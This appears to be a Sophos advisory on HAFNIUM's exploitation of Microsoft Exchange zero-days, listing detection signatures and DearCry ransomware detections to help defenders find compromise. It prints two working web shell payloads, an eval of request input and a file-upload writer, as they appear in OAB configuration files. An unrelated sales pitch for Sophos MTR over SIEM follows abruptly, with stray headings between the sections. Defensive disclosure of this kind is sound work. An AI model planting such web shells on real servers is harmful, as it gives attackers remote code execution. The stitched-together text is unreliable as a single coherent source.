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Four new zero-day vulnerabilities affecting Microsoft Exchange are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state.

Anyone running on-premises Exchange Servers should patch them without delay, and search their networks for indicators of attack.

Sophos protections against HAFNIUM

Sophos MTR, network and endpoint security customers benefit from multiple protections against the exploitation of the new vulnerabilities.

Sophos MTR

The Sophos MTR team has been monitoring our customer environments for behaviors associated with these vulnerabilities since their announcement. If we identify any malicious activity related to these vulnerabilities, we will create a case and be in touch with you directly.

Sophos Firewall

IPS signatures for customers running SFOS and XFOS:

These signatures are also present on the Endpoint IPS in Intercept X Advanced.

IPS signatures for customers running Sophos UTM:

If you see these detection names on your networks you should investigate further and remediate.

Sophos Intercept X Advanced and Sophos Antivirus (SAV)

Customers can monitor the following AV signatures to identify potential HAFNIUM attacks:

Web shell related

• Troj/WebShel-L
• Troj/WebShel-M
• Troj/WebShel-N
• Troj/ASPDoor-T
• Troj/ASPDoor-U
• Troj/ASPDoor-V
• Troj/AspScChk-A
• Troj/Bckdr-RXD
• Troj/WebShel-O
• Troj/WebShel-P

Other payloads

• Mal/Chopper-A
• Mal/Chopper-B
• ATK/Pivot-B
• AMSI/PowerCat-A (Powercat)
• AMSI/PSRev-A (Invoke-PowerShellTcpOneLine reverse shell)

Due to the dynamic nature of the web shells, the shells are blocked but need to be removed manually. If you see these detection names on your networks you should investigate further and remediate.

We have also blocked relevant C2 IP destinations, where it was safe to do so.

In addition, the “lsass dump” stages of the attack are blocked by the credential protection (CredGuard) included in all Intercept X Advanced subscriptions.

Sophos EDR

Sophos EDR customers can leverage pre-prepared queries to identify potential web shells for investigation:

When reviewing the potential web shells identified by the queries, the web shell will typically appear inside an Exchange Offline Address Book (OAB) configuration file, in the ExternalUrl field. E.g.

ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>

ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>

Identifying signs of compromise

The Sophos MTR team has published a step-by-step guide on how to search your network for signs of compromise.

DearCry ransomware

The actors behind DearCry ransomware are using the same vulnerabilities as the Hafnium group in their attacks. Sophos Intercept X detects and blocks Dearcry via:

• Troj/Ransom-GFE
• CryptoGuard

Editor note: Post updated with addition of IPS signatures for Sophos UTM and additional detections. 2021-03-10 08:35 UTC

Editor note: Post updated with additional anti-malware signatures for Intercept X and Sophos Antvirus (SAV) 2021-03-11 14:30 UTC

Sophos Endpoint Download

Editor note: Post updated to advise that signatures are now present on the Endpoint IPS, and the addition of two further AV signatures 2021-03-12 09:10 UTC

Editor note: Post updated with DearCry ransomware detections 2021-03-12 16:30 UTC

Most of the time when a customer is asking for a SIEM, really they just want a way to detect threats across their environment, and they think SIEM is the only way to achieve this. It’s not, and for many customers, Sophos MTR makes much more sense.

A few customers I’ve spoken with recently are considering buying a SIEM or an SIEM service. With a bit of probing about what they’re trying to achieve, we’ve got them interested in Sophos MTR as an alternative.

Security Incident and Event Management systems, or SIEM, have been around for a long time. Many IT managers are under the misconception that SIEM is the only way to get a complete view of what’s happening on their network.

Sophos Endpoint Dns

An SIEM takes alert data from firewalls, endpoints, switches and other sources and tries to make sense of these alerts to detect attacks. However, this alerts-based approach is slow, unreliable, and prone to “alert fatigue.” A lot of time and effort is required to manage, configure, and tune an SIEM. Even if the SIEM detects an attack, someone still needs to respond to the threat. And don’t forget, an SIEM doesn’t replace endpoint protection. Our customers will still need Intercept X on their servers and PCs.

Sophos Managed Threat Response (MTR) offers a better option for your customer to respond to threats across their network. If your customer is already using Sophos Intercept X and Endpoint Detection and Response (EDR) there’s no additional software to install, configure, or tune. MTR augments Sophos’ Intercept X and EDR with osquery to build a searchable SQL database of every computer OS in your environment.

The Sophos MTR team regularly executes scheduled queries on every endpoint to capture useful data to detect and investigate threats. Live queries can also be executed to return information immediately from the endpoint for threat hunting, incident response, and investigations.

The MTR team reviews details on detections, endpoint-related information, and checks to see if the detection was seen on other endpoints. They can see detailed information about what was executed, allowing for further investigation into the pid, parent process, and relevant hashes.

Furthermore, unlike with SIEM, the MTR team will respond, 24 hours a day, 7 days a week. They can:

• Change configurations to manage an active threat, including adjusting threat policies, enabling EDR/MTR on unprotected devices, and adjusting exclusions
• Use Sophos Central’s isolate host functionality to limit a compromised asset’s exposure
• Block files by SHA256 within an environment to prohibit malicious content from running
• Initiate a system scan
• Block a specific website or IP address through web control
• Block a specific application through application control
• Use a Live Terminal for direct access to the host

So, next time you hear your customer mention SIEM, ask them: who’s going to respond to the SIEM alert at 3 a.m. on a Sunday morning?

Instead, offer them Sophos MTR, the better option to detect attacks on sensitive data assets and respond to incidents before they become a breach. Even at 3 a.m. on a Sunday morning.